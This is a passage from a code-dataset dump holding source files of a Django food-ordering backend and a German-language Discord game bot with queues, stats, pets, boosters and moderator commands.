email.send()\n\n\n@csrf_exempt\ndef get_notifications(request):\n orders = Order.objects.filter(accepted=False, delivered=False)\n if orders.count() > 0:\n return JsonResponse(dict(has=True))\n return JsonResponse(dict(has=False))\n"
},
{
"alpha_fraction": 0.5050709843635559,
"alphanum_fraction": 0.6085192561149597,
"avg_line_length": 23.649999618530273,
"blob_id": "2364082230e7280138796e75848a50f051e4febb",
"content_id": "39c609abf7f8ea2fbe33e6713dbd7c583d18838c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 493,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 20,
"path": "/koko_models/migrations/0005_order_score.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10 on 2016-12-01 06:22\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('koko_models', '0004_auto_20161201_0541'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='order',\n name='score',\n field=models.FloatField(default=0, verbose_name='\\u0418\\u0442\\u043e\\u0433\\u043e'),\n ),\n ]\n"
},
{
"alpha_fraction": 0.7591241002082825,
"alphanum_fraction": 0.7591241002082825,
"avg_line_length": 18.571428298950195,
"blob_id": "35ce131dd8971e7e789be3f92c36df2295c982b9",
"content_id": "d116cacc85d72024d3c01e60bd0961d5b14ac52a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 137,
"license_type": "no_license",
"max_line_length": 39,
"num_lines": 7,
"path": "/koko_models/apps.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "from __future__ import unicode_literals\n\nfrom django.apps import AppConfig\n\n\nclass KokoModelsConfig(AppConfig):\n name = 'koko_models'\n"
},
{
"alpha_fraction": 0.4923076927661896,
"alphanum_fraction": 0.6769230961799622,
"avg_line_length": 15.25,
"blob_id": "0d5c373215ac5ed35a227a09040907aa43c40430",
"content_id": "4eaf9e79f70fb237a25d3e56f6fc791fd586ad4b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 65,
"license_type": "no_license",
"max_line_length": 19,
"num_lines": 4,
"path": "/requirements.txt",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "Django==1.10\nMySQL-python==1.2.5\nPillow==3.4.2\ndjango-jet==1.0.3\n"
},
{
"alpha_fraction": 0.4526315927505493,
"alphanum_fraction": 0.6112781763076782,
"avg_line_length": 43.33333206176758,
"blob_id": "30d1737cc833d6ceb97cdbc04eff34f5a270a126",
"content_id": "60fb156853e658e698852e5b57e4400bd8af6e65",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1330,
"license_type": "no_license",
"max_line_length": 147,
"num_lines": 30,
"path": "/koko_models/migrations/0003_order.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10 on 2016-12-01 05:26\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('koko_models', '0002_drinkingproduct_potatoproduct_saladeproduct'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Order',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('name', models.CharField(max_length=500, verbose_name='\\u0418\\u043c\\u044f')),\n ('address', models.CharField(max_length=500, verbose_name='\\u0410\\u0434\\u0440\\u0435\\u0441')),\n ('phone', models.CharField(max_length=255, verbose_name='\\u0422\\u0435\\u043b\\u0435\\u0444\\u043e\\u043d')),\n ('orders', models.TextField(verbose_name='\\u042d\\u043b\\u0435\\u043c\\u0435\\u043d\\u0442\\u044b \\u0437\\u0430\\u043a\\u0430\\u0437\\u0430')),\n ('delivered', models.BooleanField(verbose_name='\\u0414\\u043e\\u0441\\u0442\\u0430\\u0432\\u043b\\u0435\\u043d\\u043e?')),\n ],\n options={\n 'verbose_name': '\\u0417\\u0430\\u043a\\u0430\\u0437',\n 'verbose_name_plural': '\\u0417\\u0430\\u043a\\u0430\\u0437\\u044b',\n },\n ),\n ]\n"
},
{
"alpha_fraction": 0.6239460110664368,
"alphanum_fraction": 0.6256324052810669,
"avg_line_length": 32,
"blob_id": "c5121bbcfbe7ce4f19c7405f4836e620179052dd",
"content_id": "4df2b73ab63c97bfb5aa12c9b35dee4c9d1f0dfc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 608,
"license_type": "no_license",
"max_line_length": 95,
"num_lines": 18,
"path": "/koko_models/form.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "# coding=utf-8\nfrom django import forms\nfrom models import Order\n\n\nclass OrderForm(forms.ModelForm):\n\n orders = forms.CharField(required=False, widget=forms.TextInput(attrs={'class': 'hidden'}))\n score = forms.CharField(required=False, widget=forms.TextInput(attrs={'class': 'hidden'}))\n\n class Meta:\n model = Order\n exclude = ()\n widgets = {\n 'name': forms.TextInput(attrs={'placeholder': 'Имя'}),\n 'address': forms.TextInput(attrs={'placeholder': 'Адрес'}),\n 'phone': forms.TextInput(attrs={'placeholder': 'Телефон'}),\n }"
},
{
"alpha_fraction": 0.44121813774108887,
"alphanum_fraction": 0.6189801692962646,
"avg_line_length": 46.06666564941406,
"blob_id": "4a8b78a885fb09fdcda4af0f0a8212ad68e0826f",
"content_id": "3a5c634d7c08b4a12948b77aac6988a0d22d07e4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1412,
"license_type": "no_license",
"max_line_length": 246,
"num_lines": 30,
"path": "/koko_models/migrations/0006_contacts.py",
"repo_name": "erlanenazarov/koko_backend",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.10 on 2016-12-01 11:29\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('koko_models', '0005_order_score'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Contacts',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('phone_number', models.CharField(max_length=255, verbose_name='\\u041d\\u043e\\u043c\\u0435\\u0440 \\u0442\\u0435\\u043b\\u0435\\u0444\\u043e\\u043d\\u0430')),\n ('additional_phone_number', models.CharField(blank=True, max_length=255, null=True, verbose_name='\\u0417\\u0430\\u043f\\u0430\\u0441\\u043d\\u043e\\u0439 \\u043d\\u043e\\u043c\\u0435\\u0440 \\u0442\\u0435\\u043b\\u0435\\u0444\\u043e\\u043d\\u0430')),\n ('email', models.EmailField(max_length=254, verbose_name='\\u042d\\u043b. \\u043f\\u043e\\u0447\\u0442\\u0430')),\n ('address', models.CharField(max_length=255, verbose_name='\\u0410\\u0434\\u0440\\u0435\\u0441')),\n ],\n options={\n 'db_table': 'contacts',\n 'verbose_name': '\\u041a\\u043e\\u043d\\u0442\\u0430\\u043a\\u0442\\u044b',\n 'verbose_name_plural': '\\u041a\\u043e\\u043d\\u0442\\u0430\\u043a\\u0442\\u044b',\n },\n ),\n ]\n"
}
] | 16 |
PlaceblockHD/pd_gameworld | https://github.com/PlaceblockHD/pd_gameworld | a777c13e8ad6ba47b1ee4368bdad4a64402a61f7 | 5462b889c1c536b967e60149d8c0029cb4d4809e | 54a52bcdfa175c2ae5b0138a1c43866d27a97420 | refs/heads/master | 2023-01-19T21:22:34.089950 | 2020-11-04T22:02:44 | 2020-11-04T22:02:44 | 309,068,723 | 0 | 0 | null | 2020-11-01T10:13:15 | 2020-11-04T22:03:06 | 2020-11-17T16:26:12 | Python | [
{
"alpha_fraction": 0.5784615278244019,
"alphanum_fraction": 0.5784615278244019,
"avg_line_length": 24.076923370361328,
"blob_id": "fe45dbf59cd77b39866452fc5fd84521194d63b7",
"content_id": "4e97e4596e21ed4a7e092a761028750fa2542523",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 325,
"license_type": "no_license",
"max_line_length": 47,
"num_lines": 13,
"path": "/src/GameAPI/Pet.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import math\n\nclass Pet():\n def __init__(self, name, xpm, mym, rarity):\n self.name = name\n self.display_name = name\n self.xp_multiply = xpm\n self.money_multiply = mym\n self.rarity = rarity\n self.equipped = False\n\n def rename(self, new_name):\n self.display_name = new_name"
},
{
"alpha_fraction": 0.5479262471199036,
"alphanum_fraction": 0.5972350239753723,
"avg_line_length": 56.1315803527832,
"blob_id": "761674553248ee30cde27a0fb442904eef441866",
"content_id": "37069ed7756fee8bba4e8f6d5f4e2e373dfe271c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2170,
"license_type": "no_license",
"max_line_length": 159,
"num_lines": 38,
"path": "/src/StatsCmd/StatsCommandFile.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import discord\nfrom discord.ext import commands\n\nfrom GameAPI.user_extension import *\n\nclass StatsCommand(commands.Cog):\n @commands.command()\n async def stats(self, ctx: commands.Context, *args):\n await ctx.message.delete()\n\n if ctx.channel.id == 741835965164814458:\n member = None\n if len(args) == 0:\n member = ctx.author\n else:\n member = ctx.guild.get_member_named(' '.join(args))\n if member is not None:\n statsdata = get_stats(member)\n xp = round(get_xp(member))\n level = get_level(member)\n pet_amount = get_pet_amount(member)\n money = get_money(member)\n backpack_level = get_backpack_level(member)\n pickaxe_level = get_pickaxe_level(member)\n player_rank = get_player_role(member)\n embed = discord.Embed(title=\"Statistiken von \" + member.name + \"!\", description=\"Hier sind die Stats:\",color=0x00FF00)\n embed.set_author(name=\"STATS\",icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.set_thumbnail(url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Xp:\", value=str(xp), inline=False)\n embed.add_field(name=\"Level:\", value=str(level), inline=False)\n embed.add_field(name=\"Money:\", value=str(round(money, 2)), inline=False)\n embed.add_field(name=\"Rang:\", value=player_rank, inline=False)\n embed.add_field(name=\"Pets:\", value=str(pet_amount), inline=False)\n embed.add_field(name=\"MoneyMiner:\", value=\"Rucksack Lvl: \" + str(backpack_level) + \"\\nSpitzhacken Lvl: \" + str(pickaxe_level), inline=False)\n for game in statsdata:\n embed.add_field(name=game, value=\"Played:\" + str(statsdata[game][1]) + \", Wins:\" + str(statsdata[game][0]), inline=False)\n await ctx.channel.send(embed=embed, delete_after=20)\n return"
},
{
"alpha_fraction": 0.667252779006958,
"alphanum_fraction": 0.724198579788208,
"avg_line_length": 43.806060791015625,
"blob_id": "b3b9645e68c7e97f94349d3cb93a6a550f581a1a",
"content_id": "2ce61fe8d5b9d5781f6b492d000bee3742d67b4d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7422,
"license_type": "no_license",
"max_line_length": 277,
"num_lines": 165,
"path": "/src/pd_gameworld.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import asyncio\n\nimport discord\nfrom discord.ext import commands\nfrom discord.ext.commands import CommandNotFound, MissingRequiredArgument\n\nfrom parse import parse\nimport logging\n\nfrom GameAPI import user_commands\nfrom bugreport import BugReport\nfrom GameAPI.Book import Book\n\nfrom GameAPI.Queue import Queue\nfrom StatsCmd.StatsCommandFile import StatsCommand\n\nimport tictactoe.GameLogic\nimport connectfour.Gamelogic\nimport hangman.GameLogic\nimport onewordchallange.GameLogic\nfrom MoneyMiner import miner_commands\n\nlogging.basicConfig(level=logging.INFO)\n\nintents = discord.Intents.all()\nclient = commands.Bot(command_prefix=\"!\", intents=intents)\n\nclient.add_cog(BugReport.BugReport(client))\nclient.add_cog(StatsCommand())\nclient.add_cog(user_commands.Commands(client))\n\n# join-channelid -> Spieleklasse, Queuename, (Queue)\ngames = {\n 743463967996903496: [hangman.GameLogic.GameControl, \"Galgenmännchen\"],\n 741835475085557860: [tictactoe.GameLogic.GameControl, \"TicTacToe\"],\n 743425069216170024: [connectfour.Gamelogic.GameControl, \"VierGewinnt\"],\n 771386889927262248: [onewordchallange.GameLogic.GameControl, \"OneWordChallange\"]\n}\n\n\n# Jemand will einem Spiel joinen und landet in der Queue:\[email protected]()\nasync def join(ctx: commands.Context):\n await ctx.message.delete()\n if ctx.channel.id in games:\n queue = games[ctx.channel.id][2]\n await queue.append(ctx)\n\n\n# Jemand will eine Queue verlassen:\[email protected]()\nasync def leave(ctx: commands.Context):\n await ctx.message.delete()\n if ctx.channel.id in games:\n queue = games[ctx.channel.id][2]\n await queue.remove(ctx)\n\n\nclient.remove_command(\"help\")\n\n\[email protected]()\nasync def help(ctx: commands.Context):\n await ctx.message.delete()\n if ctx.channel.id == 771745879723606107:\n page1 = \"Hey! Schön das du auf diesen Server gefunden hast!!\\nKleiner Tipp schalte diesen Server bis auf Erwähnungen stumm, damit du nicht mit Nachrichten vollgespamt wirst :-)\"\n page2 = \"Wenn du spielen willst gehe zu dem jeweiligen Channel und schreibe !join um mitzuspielen\"\n page3 = \"Kein Bock mehr auf ein Spiel, aber du bist schon in der Queue? Einfach !leave um die Queue zu verlassen!\"\n page4 = \"Um Statistiken von dir bzw. von anderen zu sehen gehe in den Stats-Channel und schreibe !stats [Spielername]\"\n page5 = 'Du willst den Server boosten? gehe in den booster channel und schreibe !booster [xp/money] um xp bzw. money für 2h 1.25x zu boosten (kostet anfangs 100)'\n page6 = 'Willst du Haustiere gewinnen um tolle Xp-Multiplikatoren oder Money-Multiplikatoren zu bekommen? Gehe in den Haustier Channel und schreibe !pet (kostet anfangs 300 Money). Deine Haustiere kannst du sehen indem du im Haustier Channel !pets schreibst!'\n page7 = 'Wenn du einen Bug gefunden hast schreibe bitte folgendes in den Bug-Report Channel: !bug \"dein bug\"! Danke für deine Hilfe:-) !'\n page8 = 'Auf den nächsten Seiten wird erklärt wie die jeweiligen Spiele funktionieren! ->'\n page9 = 'TicTacToe:\\nWie man ein Feld anklickt wird im Spiel erklährt!\\nWas ist TicTacToe?:\\nEin 3x3 Spielfeld auf dem du versuchen musst 3 Felder in einer Reihe mit deiner Spielfigur zu markieren!'\n page10 = 'Vier Gewinnt:\\nEin Großes Spielfeld, in dem du versuchen musst 4 Spielsteine deiner Farbe in einer Reihe zu haben!'\n page11 = 'Hangman:\\nEin zufällig ausgewählter Spieler sucht sich ein Wort aus, welches die anderen Erraten müssen! Wenn die Spieler zu oft einen falschen Buchstaben ausprobiert haben ist das Spiel vorbei!'\n page12 = 'MoneyMiner:\\nBekomme Geld über deine Spitzhacke und erweitere deinen Rucksack um mehr speichern zu können! Mache !upgrade pickaxe/pa/spitzhacke/rucksack/backpack/bp um upgraden zu können! Benutze !bp/backpack/rucksack um dir Informationen über den Rucksack' \\\n ' anzeigen zu lassen! Schreibe !pa/pickaxe/spitzhacke um dir Informationen über die Spitzhacke anzeigen zu lassen! Zum schluss noch !claim um dein Geld vom Rucksack auf dein Konto zu übertragen!'\n page13 = 'OneWordChallange:\\nDer Reihe nach müssen die Spieler wörter aussuchen und daraus einen Satz bilden!'\n book = Book(\"Help\", [page1, page2, page3, page4, page5, page6, page7, page8, page9, page10, page11, page12, page13], client, 771745879723606107)\n await book.send_message()\n\n# Der Chef darf Channels purgen:\[email protected]()\nasync def purge(ctx: commands.Context, *, member: discord.Member = None):\n if isinstance(ctx.channel, discord.channel.DMChannel):\n return\n await ctx.message.delete()\n role = discord.utils.get(ctx.guild.roles, id=744630374855868456)\n if role in ctx.author.roles:\n if isinstance(ctx.channel, discord.channel.TextChannel):\n await ctx.channel.purge()\n\n\n\n\n# Neue User im Welcome Channel begrüßen:\[email protected]\nasync def on_member_join(member: discord.Member):\n channel = client.get_channel(741965363549569034)\n await channel.send(f\"\"\"Wilkommen auf **PD-GAMEWORLD** {member.mention} !\"\"\")\n\n\n# Nicht existierende oder fehlerhafte Commands werden aus dem Channel gelöscht:\[email protected]\nasync def on_command_error(ctx, error):\n if isinstance(error, CommandNotFound):\n try:\n await ctx.message.delete()\n except:\n pass\n return\n elif isinstance(error, MissingRequiredArgument):\n try:\n await ctx.message.delete()\n except:\n pass\n return\n else:\n raise error\n\n\n# Aufräumen beim Start:\[email protected]\nasync def on_ready():\n # Alte Gamechannels löschen:\n for channel in client.get_all_channels():\n if parse(\"{}-{:d}\", channel.name):\n logging.info(\"delete \" + channel.name)\n await channel.delete()\n # Inhalt der Join Channels löschen:\n for channelid in games:\n channel = client.get_channel(channelid)\n logging.info(\"cleanup \" + channel.name)\n await channel.purge()\n\n deletechannels = [771745879723606107, 741835965164814458, 772214299997110292, 743797646883553370, 772515089181310977, 772543056640868404, 772543093714714666, 773486403073736735, 773486430047305728]\n for channelid in deletechannels:\n channel = client.get_channel(channelid)\n logging.info(\"cleanup \" + channel.name)\n await channel.purge()\n\n helpchannel = client.get_channel(771745879723606107)\n embed = discord.Embed(title=\"Hilfe gefällig?\",\n description=\"!help für die detaillierte Hilfe von diesem Server!\",\n color=0x00FF00)\n embed.set_author(name=\"Help\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await helpchannel.send(embed=embed)\n\n # Erzeugen der GameQueues und Spielekontrollobjekt koppeln:\n for channelid in games:\n gamequeue = Queue(games[channelid][1], client.get_channel(channelid)) # Queue erzeugen und Namen zuweisen\n games[channelid].append(gamequeue) # Die Queue dem Join Channel zuordnen\n games[channelid][0](gamequeue) # Gamecontroller des Spiels erzeugen, queue übergeben\n\n client.add_cog(miner_commands.MineCommands(client))\n\n print(await client.guilds[0].invites())\n\n\nwith open(\"../resources/privates.txt\") as token_file:\n token = token_file.readline()\n\nclient.run(token)\n"
},
{
"alpha_fraction": 0.59121173620224,
"alphanum_fraction": 0.5992010831832886,
"avg_line_length": 26.740739822387695,
"blob_id": "4b7a7a748bf7e49ea8ac86ad6c18bacc953847f6",
"content_id": "a0001d012f0309206f726e8ea3f6be7e2704d9ea",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 751,
"license_type": "no_license",
"max_line_length": 67,
"num_lines": 27,
"path": "/src/GameAPI/Game.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "class Game:\n def __init__(self):\n self.players = []\n self.currentPlayer = None\n self.currentPlayerID = 0\n\n def start(self, gameChannel):\n pass\n\n def stop(self, gameChannel):\n pass\n\n def change_to_next_player(self):\n self.currentPlayerID += 1\n if self.currentPlayerID > self.players.__len__() -1:\n self.currentPlayerID = 0\n self.currentPlayer = self.players[self.currentPlayerID]\n return self.currentPlayer\n self.currentPlayer = self.players[self.currentPlayerID]\n print(self.currentPlayerID)\n return self.currentPlayer\n\n def is_empty(self):\n return self.players.__len__() - 1 > 0\n\n def compute_winner(self):\n pass\n\n\n"
},
{
"alpha_fraction": 0.4282125234603882,
"alphanum_fraction": 0.5053057670593262,
"avg_line_length": 50.47297286987305,
"blob_id": "8e18c692d50428653118e3357a04b65a35053d56",
"content_id": "ddc2522166d2fb25ac028cb014eac6c2c04d4803",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 26693,
"license_type": "no_license",
"max_line_length": 177,
"num_lines": 518,
"path": "/src/GameAPI/user_commands.py",
"repo_name": "PlaceblockHD/pd_gameworld",
"src_encoding": "UTF-8",
"text": "import asyncio\nimport random\n\nimport discord\nfrom discord.ext import commands\n\nfrom GameAPI.user_extension import *\n\n\nclass Commands(commands.Cog):\n\n def __init__(self, client):\n self.client: commands.Bot = client\n\n @commands.command()\n async def pets(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n\n if ctx.channel.id == 772214299997110292:\n if len(args) == 0:\n member = ctx.author\n else:\n member = ctx.guild.get_member_named(args[0])\n\n if not member == None:\n\n pets = get_pets(member)\n\n if (len(pets) == 0):\n embed = discord.Embed(title=\"Hinweis!\",\n description=\"Der Spieler \" + member.name +\" hat noch keine Pets\",\n color=0x999999)\n embed.set_author(name=\"Haustiere\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.author.send(embed=embed, delete_after=60)\n\n return\n\n embed = discord.Embed(title=member.name + \"'s Haustiere\",\n description=\"Hier sind alle Haustiere von \" + member.name,\n color=0x999999)\n embed.set_author(name=\"Haustiere\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.author.send(embed=embed, delete_after=60)\n\n rarity_color = {\"Gewöhnlich\": 0x999999, \"Selten\": 0x00FF00, \"Episch\": 0x8800FF, \"Legendär\": 0xE2B007}\n\n for pet in pets:\n isequipped = \"✅\" if pet.equipped else \"❌\"\n embed = discord.Embed(title=\"Haustier: \" + pet.display_name + \" :\",\n description=\"Daten:\",\n color=rarity_color.get(pet.rarity, 0x999999))\n embed.set_author(name=\"Haustier\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n embed.add_field(name=\"Rarität\",\n value=pet.rarity,\n inline=False)\n embed.add_field(name=\"Xp Multiplikator:\",\n value=str(pet.xp_multiply),\n inline=True)\n embed.add_field(name=\"Money Multiplikator:\",\n value=str(pet.money_multiply),\n inline=True)\n embed.add_field(name=\"Equipped\",\n value=isequipped,\n inline=False)\n\n await ctx.author.send(embed=embed, delete_after=60)\n await asyncio.sleep(0.21)\n\n @commands.command()\n async def lock(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n role = discord.utils.get(ctx.guild.roles, id=741837884583313440)\n if role in ctx.author.roles:\n embed = discord.Embed(title=\"Achtung!\",\n description=\"Bis der Bot wieder gestartet ist, könnt ihr nur in manchen Channels schreiben!\",\n color=0x00FF00)\n embed.set_author(name=\"Help\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.client.get_channel(741835032020385802).send(embed=embed)\n non_block_channels = [742069974889267281, 743798512663265290, 743805821418209321, 746680429045874810, 741836337006772306, 741963559705247846, 741965363549569034]\n for channel in ctx.guild.text_channels:\n if not channel.id in non_block_channels:\n role = ctx.guild.get_role(741823660188500008)\n await channel.set_permissions(role, send_messages=False)\n await asyncio.sleep(0.21)\n await self.client.get_channel(741835032020385802).set_permissions(role, send_messages=True)\n\n\n @commands.command()\n async def unlock(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n role = discord.utils.get(ctx.guild.roles, id=741837884583313440)\n if role in ctx.author.roles:\n non_block_channels = [742069974889267281, 743798512663265290, 743805821418209321, 746680429045874810, 741836337006772306, 741963559705247846, 741965363549569034]\n for channel in ctx.guild.text_channels:\n if not channel.id in non_block_channels:\n role = ctx.guild.get_role(741823660188500008)\n await channel.set_permissions(role, send_messages=True)\n await asyncio.sleep(0.21)\n embed = discord.Embed(title=\"Achtung!\",\n description=\"Der Bot ist wieder an, ihr könnt wieder schreiben!\",\n color=0x00FF00)\n embed.set_author(name=\"Help\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await self.client.get_channel(741835032020385802).send(embed=embed)\n\n @commands.command()\n async def give_pet(self, ctx: commands.Context, *args):\n arguments = list(args)\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n role = discord.utils.get(ctx.guild.roles, id=741838175919538176)\n if role in ctx.author.roles:\n if len(arguments) >= 5:\n rarity = arguments.pop(-1)\n money_m = arguments.pop(-1)\n xp_m = arguments.pop(-1)\n name = arguments.pop(-1)\n member = ctx.guild.get_member_named(' '.join(arguments))\n if member:\n try:\n add_pet(member, name, float(xp_m), float(money_m), rarity)\n except ValueError:\n embed = discord.Embed(title=\"Du musst eine Zahl angeben!\",\n description=\"!give_pet [spieler] [petname] [xp_multiply] [money_multiply] [rarity]\",\n color=0xFF0000)\n embed.set_author(name=\"Money\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n else:\n embed = discord.Embed(title=\"Spieler \" + ' '.join(arguments) + \"nicht gefunden\",\n description=\"Bitte versuche es erneut!\",\n color=0xFF0000)\n embed.set_author(name=\"Money\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n else:\n embed = discord.Embed(title=\"Falsche Benutzung!\",\n description=\"!give_pet [spieler] [petname] [xp_multiply] [money_multiply] [rarity]\",\n color=0xFF0000)\n embed.set_author(name=\"Money\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n\n\n\n @commands.command()\n async def update_nick(self, ctx: commands.Context, *, member: discord.Member = None):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n role = discord.utils.get(ctx.guild.roles, id=741838175919538176)\n if role in ctx.author.roles:\n members = ctx.guild.members\n for member in members:\n await update_player_nick(member)\n\n @commands.command()\n async def update_roles(self, ctx: commands.Context, *, member: discord.Member = None):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n role = discord.utils.get(ctx.guild.roles, id=741838175919538176)\n if role in ctx.author.roles:\n members = ctx.guild.members\n for member in members:\n await update_player_role(member)\n\n @commands.command()\n async def clear_booster(self, ctx: commands.Context, *, member: discord.Member = None):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n role = discord.utils.get(ctx.guild.roles, id=741838175919538176)\n if role in ctx.author.roles:\n remove_boosters()\n\n @commands.command()\n async def booster(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n\n if ctx.channel.id == 773211644167192637:\n\n cost = get_cost(ctx.author, 100)\n account_balance = get_money(ctx.author)\n\n if args[0].upper() == \"MONEY\" or args[0].upper() == \"XP\":\n if not has_money(ctx.author, cost):\n embed = discord.Embed(title=\"Du hast nicht genug Money!\",\n description=\"Du brauchst mindestens \"+ str(cost) +\", aber du hast leider nur \"+ str(round(account_balance,2))+\" !\",\n color=0xFF0000)\n embed.set_author(name=\"Booster\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n\n withdraw_money(ctx.author, cost)\n\n set_booster(args[0].lower(), 1.25, 120)\n\n embed = discord.Embed(title=\"📢BOOOSSSTTTERRR!\",\n description=ctx.author.name + \" hat \"+args[0].lower()+\" für 2h geboostet! Jeder Spieler bekommt jetzt 1.25x mehr \" + args[0].lower() + \"!\",\n color=0x00FF00)\n embed.set_author(name=\"Booster\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed)\n else:\n\n embed = discord.Embed(title=\"Erlaubte Booster:\",\n description=\"money, xp\",\n color=0xFF0000)\n embed.set_author(name=\"Booster\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n\n\n\n\n @commands.command()\n async def delpet(self, ctx: commands.Context, *args):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n\n if ctx.channel.id == 772214299997110292:\n if not len(args) == 1:\n embed = discord.Embed(title=\"Falsche Benutzung!\",\n description=\"!delpet [name] !\",\n color=0xFF0000)\n embed.set_author(name=\"Haustier\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n remove_pet(ctx.author, args[0].upper())\n\n\n @commands.command()\n async def pet(self, ctx, *, member: discord.Member = None):\n try:\n await ctx.message.delete()\n except discord.Forbidden:\n pass\n\n if ctx.channel.id == 772214299997110292:\n\n cost = get_cost(ctx.author, 300)\n account_balance = get_money(ctx.author)\n\n if not has_money(ctx.author, cost):\n embed = discord.Embed(title=\"Du hast nicht genug Money!\",\n description=\"Du brauchst mindestens \"+ str(cost) +\", aber du hast leider nur \"+ str(round(account_balance,2))+\" !\",\n color=0xFF0000)\n embed.set_author(name=\"Haustier\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n await ctx.channel.send(embed=embed, delete_after=7)\n return\n\n if get_pet_amount(ctx.author) >= 20:\n embed = discord.Embed(title=\"Du hast bereits deine Maximale Anzahl an Haustieren erreicht!\",\n description=\"Du kannst haustiere wegwerfen mit !delpet [name] !\",\n color=0xFF0000)\n embed.set_author(name=\"Haustier\",\n icon_url=\"https://cdn.discordapp.com/app-icons/742032003125346344/e4f214ec6871417509f6dbdb1d8bee4a.png?size=256\")\n 